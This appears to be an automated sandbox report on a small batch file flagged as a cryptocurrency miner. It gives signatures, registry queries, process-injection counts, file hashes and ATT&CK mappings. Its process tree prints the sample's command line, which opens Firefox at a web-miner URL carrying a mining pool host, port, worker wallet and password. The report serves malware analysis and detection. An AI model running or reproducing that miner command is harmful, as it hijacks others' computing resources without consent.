002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c

Resubmissions

29/04/2026, 12:54

260429-p5kf3act617

29/04/2026, 12:24

29/04/2026, 12:19

29/04/2026, 12:17

29/04/2026, 12:11

Analysis

max time kernel
900s
max time network
876s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/04/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
webminer - Copie (13).bat
Size 200B
Sample260429-p5kf3act61
SHA256 002af564edf0b61828a1877fbed12262c93d3719a81775fea921bbd41fc9a14c
MD5 23ea1640884615306bbc6f6820db3ce3
SHA1 0ebd1841b9814c0f1677c0441c5c78566c276c88
SHA512 3bc31a78b4487e1502b030b40c1b8ec162b9c6a8e3dce558dea531ee7c6f48539201f45ea6b4127c7e9b96bb656afbbf591e4ca3a40d2517383f64ab8f18b9db
TLSH
T19DD022AD0A40C6D05428FD642B232A7AF7D3C309613268822320E640B28BF9263D135B
MD5 SHA1 SHA512 TLSH

Score

7^/10

miner persistence

Malware Config

Signatures

Cryptocurrency Miner
Makes network request to known mining pool URL.
miner
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 18 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe
Token: SeDebugPrivilege	4836	firefox.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
4836	firefox.exe
4836	firefox.exe
4836	firefox.exe
4836	firefox.exe
4836	firefox.exe
4836	firefox.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4836	firefox.exe

Suspicious use of WriteProcessMemory 37 IoCs

description	pid	Process	procid_target
PID 5872 wrote to memory of 5412	5872	cmd.exe	80
PID 5412 wrote to memory of 4836	5412	firefox.exe	81
PID 5412 wrote to memory of 4836	5412	firefox.exe	81
PID 4836 wrote to memory of 3176	4836	firefox.exe	82
PID 4836 wrote to memory of 3176	4836	firefox.exe	82
PID 4836 wrote to memory of 3176	4836	firefox.exe	82
PID 4836 wrote to memory of 3936	4836	firefox.exe	83
PID 4836 wrote to memory of 3936	4836	firefox.exe	83
PID 4836 wrote to memory of 3936	4836	firefox.exe	83
PID 4836 wrote to memory of 3936	4836	firefox.exe	83
PID 4836 wrote to memory of 5416	4836	firefox.exe	84
PID 4836 wrote to memory of 5416	4836	firefox.exe	84
PID 4836 wrote to memory of 5416	4836	firefox.exe	84
PID 4836 wrote to memory of 5416	4836	firefox.exe	84
PID 4836 wrote to memory of 5676	4836	firefox.exe	85
PID 4836 wrote to memory of 5676	4836	firefox.exe	85
PID 4836 wrote to memory of 5676	4836	firefox.exe	85
PID 4836 wrote to memory of 380	4836	firefox.exe	86
PID 4836 wrote to memory of 380	4836	firefox.exe	86
PID 4836 wrote to memory of 380	4836	firefox.exe	86
PID 4836 wrote to memory of 380	4836	firefox.exe	86
PID 4836 wrote to memory of 3960	4836	firefox.exe	87
PID 4836 wrote to memory of 3960	4836	firefox.exe	87
PID 4836 wrote to memory of 3960	4836	firefox.exe	87
PID 4836 wrote to memory of 3960	4836	firefox.exe	87
PID 4836 wrote to memory of 6068	4836	firefox.exe	88
PID 4836 wrote to memory of 6068	4836	firefox.exe	88
PID 4836 wrote to memory of 6068	4836	firefox.exe	88
PID 4836 wrote to memory of 6068	4836	firefox.exe	88
PID 4836 wrote to memory of 1760	4836	firefox.exe	89
PID 4836 wrote to memory of 1760	4836	firefox.exe	89
PID 4836 wrote to memory of 1760	4836	firefox.exe	89
PID 4836 wrote to memory of 1760	4836	firefox.exe	89
PID 4836 wrote to memory of 5320	4836	firefox.exe	90
PID 4836 wrote to memory of 5320	4836	firefox.exe	90
PID 4836 wrote to memory of 5320	4836	firefox.exe	90
PID 4836 wrote to memory of 5320	4836	firefox.exe	90

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\webminer - Copie (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5872
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" "https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5412
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" https://webminer.pages.dev?algorithm=cwm_minotaurx&host=minotaurx.na.mine.zpool.ca&port=7019&worker=dgb1qrug3hsk2whxut7z2mp2trtsgju3d0zeyx2ah6l&password=cDDGB&workers=10
    3⤵
    - Checks processor information in registry
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4836
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1968 -prefsLen 27097 -prefMapHandle 1972 -prefMapSize 270279 -ipcHandle 1944 -initialChannelId {d4c6f8f6-41af-441d-83d5-39074900f93d} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
      4⤵
      PID:3176
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2336 -prefsLen 27133 -prefMapHandle 2432 -prefMapSize 270279 -ipcHandle 2440 -initialChannelId {264145bc-5f31-48ea-9d2e-b8176bdb9e47} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
      4⤵
      PID:3936
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3716 -prefsLen 25164 -prefMapHandle 3720 -prefMapSize 270279 -jsInitHandle 3724 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3732 -initialChannelId {e5bf8ad1-c51a-4e07-9e28-efd521619b7d} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
      4⤵
      Checks processor information in registry
      PID:5416
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3912 -prefsLen 27274 -prefMapHandle 3916 -prefMapSize 270279 -ipcHandle 3724 -initialChannelId {8f075cca-64ac-4463-ad81-9ccd1682f29a} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
      4⤵
      PID:5676
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4380 -prefsLen 34773 -prefMapHandle 4384 -prefMapSize 270279 -jsInitHandle 4388 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4396 -initialChannelId {1a8779b2-67c0-45fc-af0d-082f6daefe99} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
      4⤵
      Checks processor information in registry
      PID:380
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5024 -prefsLen 35010 -prefMapHandle 5028 -prefMapSize 270279 -ipcHandle 5036 -initialChannelId {176dc470-5cb3-4a77-ab9e-375df9146233} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 utility
      4⤵
      Checks processor information in registry
      PID:3960
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4660 -prefsLen 32952 -prefMapHandle 4656 -prefMapSize 270279 -jsInitHandle 5388 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 2828 -initialChannelId {b9c4186e-5448-4a3a-bf17-03968074733e} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:6068
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5572 -prefsLen 32952 -prefMapHandle 5576 -prefMapSize 270279 -jsInitHandle 5580 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5588 -initialChannelId {2ec4c81c-c693-444f-a3db-e73a61175487} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:1760
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5760 -prefsLen 32952 -prefMapHandle 5764 -prefMapSize 270279 -jsInitHandle 5768 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5776 -initialChannelId {868ad291-7839-4232-b81d-42e0b6b32ed2} -parentPid 4836 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4836" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
      4⤵
      Checks processor information in registry
      PID:5320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

activity-stream.contile.json

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\activity-stream.contile.json
Size 4KB
SHA256 3e391e642c6a7142ce694ff7c10ca94725c3d94ecc08f4d5faa33dd00fe724fc
MD5 241ee8499577ce02f23a1b4188054545
SHA1 97be918a53b6371ff353f144c97dac2ff89dcdbf
SHA512 c2be1515a5c14f415d58e3c1c672310e982e316b47eb0daac8d0d34cc407e990e3b14b2218b0542d6a0d6cb5bbb8fcb633af873312dbed437543f55f1a70d83b
SSDEEP 96:K65itXowDV5df0918Dl+Ed/JWdV+3ImY9keSol:Kyit4w/dc9il+G8dVtOell
TLSH
T19CA1F9DFC87CC9A74732A7F07C5F27ADF14BB25B8ED59889AB448C21E29511741DAA00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CD1C116DEEE8F4F97C1806976E10E7E2B349E486

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\cache2\entries\CD1C116DEEE8F4F97C1806976E10E7E2B349E486
Size 13KB
SHA256 577fcc7116483127ad2608374367cbfcac51d12441d00c9445c6d5fb3abcecf8
MD5 c16aa4a5ad73d567bee7d7489cd93f76
SHA1 52d606b091ebb644c3a5f731c853305c1dbcada5
SHA512 03aa89e69ffae1393ede9929fb4d928669298422ed23f6916540831f4843a7275cd7c816d7eb343215966e376223e5456a0b5ea2c7bbcedbef56dcb5b614ff54
SSDEEP 384:HbaFrLiO024YoFuhw+5EL1pPsac4j0lpDII+3kb:7aAZYoFuK+5EB9sac4ID8Le
TLSH
T1C3528E7DAF0138BA1A2BE2D4D8AD5214CE04D6BBEEE2D16605043C44C7807BDB4F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

F58F0605C722D0D848D03D88AC8E3E50223F57B0

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\cache2\entries\F58F0605C722D0D848D03D88AC8E3E50223F57B0
Size 13KB
SHA256 705fd9b2d312bf12e71d8afa75274e73239fbfa8b44cbeec9641f16f6e5d9430
MD5 f09a47455d26333039d5a23f22be019f
SHA1 87ef9ae03a1af9fe272f785038ada1539f818f80
SHA512 f55c8b01d433191d40d79d4f997d88d6032eab05ad670800d55331015c0a886b3b00dcf391f93f87f308e3afb73e14336cac5ef7a1041710f0245a6aa9c1fdab
SSDEEP 384:HHMO0iO024YHFuhw+5EL1pPsac4j0lpDII+GmQmq:nrZYHFuK+5EB9sac4ID8LG39
TLSH
T131528E7EAF1139B90A27D1C4DCFA9205CE08E6BBEFD2D06216543845C680778B8F64DE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

TE2NX3OF0O27JUM9EGV7.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TE2NX3OF0O27JUM9EGV7.temp
Size 7KB
SHA256 befd3c5de776e26b16d462ba842e117848bbde28d89e64875fd12fd74139c5b3
MD5 6f35ff56fdd5b5683301f75ea7e4446f
SHA1 199d78125d8084fc94802281d9bb73a62cb9ce99
SHA512 881dfd9ca3bbb5fb0942f567bf7282171fd41f100e780b9fbd37fcb8db8f8b448075a42718bacc499b10622c9141639c68aab15bbacf540d926c0d09fec87695
SSDEEP 48:rUrd5CJ5Ugdw17/7+zlUUd5CJ/6Bdw17/7ylUud5CJ/adw17/7AUeUCd5CJz/sHH:vg7/7R/97/7J/N7/7PriOcKaPWan7/7n
TLSH
T1A0F1FE020FFA0965F2F3CA327B71B3126777FE01571E855E8285A2894A3375095AEF63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 7778ca13f710c27779681794f2c99d8fe99ecb9c100db329b96d4d8d4f889216
MD5 3cfd873e52b24af83a573644fd85ca80
SHA1 3ae391e4d1b0e36611a09e4766e7846a83d00436
SHA512 6221be33b5829f03429f78ba76ffe352f6798b5774d1241a9cce1f925f741b64c38a8cac43db492270626da12fbe86813df8a95bc27b1498ea9c6f2a7902569d
SSDEEP 192:07Ov5zboHv3hyjHj4B1d66Joz0dzgCl6mc0d:1boP3hyj2d66JozQzgC1j
TLSH
T150E12FA4F629863BD419027BCDB52F414F35384A988E3F1936DC645C2D472DE3A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 df325b3653b36e5d1cb9e52209abf71d99ec2009e94c5827d3e2846b05c4f521
MD5 137ee38ffbe3ee3cd4e6e0dd2c45cc24
SHA1 2c026ea70ab560480902f5777e5d40208f0727d8
SHA512 0a530cfe223dbd877b359a01f5e070689362b8a1c9c0c84da84eb6ad05d483c81a29acdea3934ddf31025f61a33dc38c6e08cef4cfe4afaf202bd7bd96ac76dd
SSDEEP 192:+B1d66Joz0dzgCl6mc0dn7Ov5zboHv3hyjHh:0d66JozQzgC1jiboP3hyj
TLSH
T119E12EA4F629863BD415027BCDB52F414F39384A988E3F1936DC645C2D472DE3A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 3c98a8054101b3c89d2b1ab3940ec39b0aa7a9c25c8a530d69a6ef5602ba6eb6
MD5 bbaf8e51f3614e7231ad50c5820dfef1
SHA1 cdf22f3ccc78e7a3dd46e6ad35cc603163647604
SHA512 06184e6a5ea65f76b00c562c77365f6b492b699526dfdf9fa650d9150b8b0ad077e630607f2d03fabf51a89ae7f64df76f1c758f00fc208d183e795983b50104
SSDEEP 192:+B1d66Joz0dzgCl6mc0dU7Ov5zboPZ3hyjHhv:0d66JozQzgC1jDboPZ3hyjJ
TLSH
T175E11E64F629863BD405027BCDB52F414F39384A988E3F1932DC645C2D572DE3A8E1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\db\data.safe.tmp
Size 6KB
SHA256 9f5390fb69de6dc1c3386210e56470b2f84ded74c3a252bbf596417e9988d9ad
MD5 bb74c7ff0fe2795a92b5b5a33d5ea929
SHA1 fcb81e7f9368c03ca52be59c4de47a13fbc301c7
SHA512 852865d27069ead6d7b2b584b2aee9c99d144ded14049490a2a1df80f05bd5c1b07d519b6e435179cdec57da80e974cb9bcfe83d13e41f22017964bb1b8dd296
SSDEEP 192:c7Ov5zboob3hyjHhIB1d66Joz0dzgCl6mc0dz:tboob3hyjgd66JozQzgC1jd
TLSH
T13FD10D64F6298A3BD405123BCDB52F414F35384A988D3F1936DC654C2D5A2AE3A8D1BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\events\events
Size 1KB
SHA256 51ea9e890c5d34db8da072f569b4cdb06b8c3cf7a86aedf3ec5cb6389027b8d9
MD5 d7a4f03d5d49eadc70c1b4dbae90d345
SHA1 f04b1d2491c228ed84abc23b11765ba23c8abeb1
SHA512 e81b9999ec333e5638e590b1e5becc53e82601ffd93c93c8059a6f7353ad1d25fefee0503ca72e06439e22b5dd16eb6bd5df4c1af629f6762d4be8808662798e
TLSH
T18811879C3EF84DAAA8D7E29C7094028E53624A0B08871D434D02EF8CCDE4AD9726E43C
MD5 SHA1 SHA512 TLSH

Submit Download

21465a9e-dfb1-44f4-8988-07d152e03c82

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\21465a9e-dfb1-44f4-8988-07d152e03c82
Size 883B
SHA256 82008f193b7c6c57be9daed244ba4453dd49ae0614d2c1bc0829d95062f533b5
MD5 7d452685dc86089ee1dfda70d73fb7bd
SHA1 5661a2ebfbd15b5d356f0d0c10c3ce28b7bf5d99
SHA512 b362b5fca14e525582686e4b95409932a3098e8d6229365ec9470fb13a5201b2a5062a1cce48c2393c7be55aed086888058d5346703fa183c8c452c3612bdbd3
TLSH
T10011DC519621B8E29C38838B8AA17B1297E4B513C4C645183EB49D180EBA22EE36A757
MD5 SHA1 SHA512 TLSH

Submit Download

34495ddc-a48b-4c1b-9fba-99014074eed6

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\34495ddc-a48b-4c1b-9fba-99014074eed6
Size 235B
SHA256 e9d81babe2f3a99e6abf6d41ff9f4269c28bd02d7d3fc33d5f4b4fd864da1e26
MD5 f0a49275a1422439d908e73647151202
SHA1 390d7ad999f823973176fd9dfd5e250cb022d885
SHA512 595d87ea9e8b85e4a5aca86e2bb6234d2f3e90fcc4fe0bf879024b8dc8f4b136cd7060c91cd036e50fa5301286ae33662c99cdcf3a9f7456d6a481e4af4bdf26
TLSH
T1D4D097C51488676C08200F07B1A06AC3308C4C331960A82289524078BAB8FE5429281B
MD5 SHA1 SHA512 TLSH

Submit Download

3dc7fb82-01aa-45e5-b266-82d030af4ef6

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\3dc7fb82-01aa-45e5-b266-82d030af4ef6
Size 235B
SHA256 47c4f7a3aae92120108c52f859369b9a5c077529beda5dd501af127f7bf0a27a
MD5 8db1ab73ebae17dbf22ad0f79b703aca
SHA1 136322a9c289115ca3b45baf4c898bf249036fda
SHA512 ded27dd4d8d85c158786b31676461778ffef1698f4b886473df0bda808c3d055f1a56c662bf94c344dce0cb9b5625bd316cf0d3c7a7b5217008599493355695a
TLSH
T15BD0978374986B5C09044F07B0A0B9CB30488C3710A96810DAA10538EBFC9C841E280B
MD5 SHA1 SHA512 TLSH

Submit Download

44f34955-bced-4fa7-9e33-c43bec48564e

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\44f34955-bced-4fa7-9e33-c43bec48564e
Size 16KB
SHA256 87185617ffdd2fbe1045a7a85afa002b442c6cf256c82ad369510a44d3509ddc
MD5 4bbd2ac41d6a4398eb44c679f370fb68
SHA1 8db164f19ec3a98e1341ba7be95495e70f80fd94
SHA512 9f2457bd8f2ba56b4be3fa1fcd1876d6c4c49f14251c9c477357f1b8e32caa12d6d4ad62fa234e82581a18f041bebf598558694e8000c52e584686cb4adb13dd
SSDEEP 192:j2AuzxKbQSyiysDt8vaCJ9yvymTx30qCPQhMqKh+ZlBqYyA+OPuyXuzokX0wBq1z:yXlKbQSyiys5vPvymTuPW5uskkwREd
TLSH
T1C972B816186049BA9251E36894FCBFC3E6F528CF4C418FCA9BE4BD4869DE06D512784F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

713ba6b1-15ec-4591-88a9-2c4308dd6513

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\713ba6b1-15ec-4591-88a9-2c4308dd6513
Size 2KB
SHA256 956362335f0e3f6c764a650f0c94d8a6cdf455fa185c46ad828cec0d6e9e12ae
MD5 f9291b5c8f8db77c35d3139cabbb9b07
SHA1 e25ed6be6199cbfd5546e15884243610fad2821e
SHA512 604d0fee24cf9151060db55d095e2876faa01a58a5bf9427416e378743eeaf9fcc9e80528d465fd7b3d2b0d4b90932967ef81845071faa1cf0afc64794eabddf
TLSH
T19641445C76785C7A9CDFF29D9591338E57608A0380C219832F91DE0C8D96A9B736B42F
MD5 SHA1 SHA512 TLSH

Submit Download

8bd6bbe4-e12b-4836-a21b-4b25e6e6c0f1

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\datareporting\glean\pending_pings\8bd6bbe4-e12b-4836-a21b-4b25e6e6c0f1
Size 886B
SHA256 b7137f45c0aee9ff88ef23b337bc163689ce9193af631e46b7f480c28e38978f
MD5 a433e4b82a545ba545e7db06375fade8
SHA1 9228adcf82a40703e0a4f68f6485d246c0e816db
SHA512 4171ea935f8fa76a2876b73be15e150d2178efce10de63d71340da421b3a7983e2decb987b80e969b6107fdfac6bdaab61a1c4118f6864b08011452a2a16ae6f
TLSH
T1401127909635BDF29C78D28B8AF0BB4357D4B513C0C54C143FA19E1C0EAA11EA75B717
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\extensions.json
Size 16KB
SHA256 0e54ad26f48f38abf786a60f8f283cf60fb9c17e506ec94dd2ba8673f28a6d30
MD5 d344d3c10c9c483aacb4eb306b2cc253
SHA1 fbd5b3682146cae190d2ac9eeda3cc4f9022ae73
SHA512 548552f982be1428680d3345bc73a29f5a4e4a386ceb018a9e3978a4b630304003d7d19c6cb55d7eada563f23bbb1a7f1579bb5fc238c12936d4f9240c248bd1
SSDEEP 384:CkI4vDUmldvG8dhWa94zY96oRL4H5L4P1L4HtQL4HVL4HR34he:1I47RfrXX4Y6y4R494NS414B4g
TLSH
T12B72331545048EB8298FA79BAA367E01C37D473B60855C78F4DD8FC802FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\cgsfbx1g.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
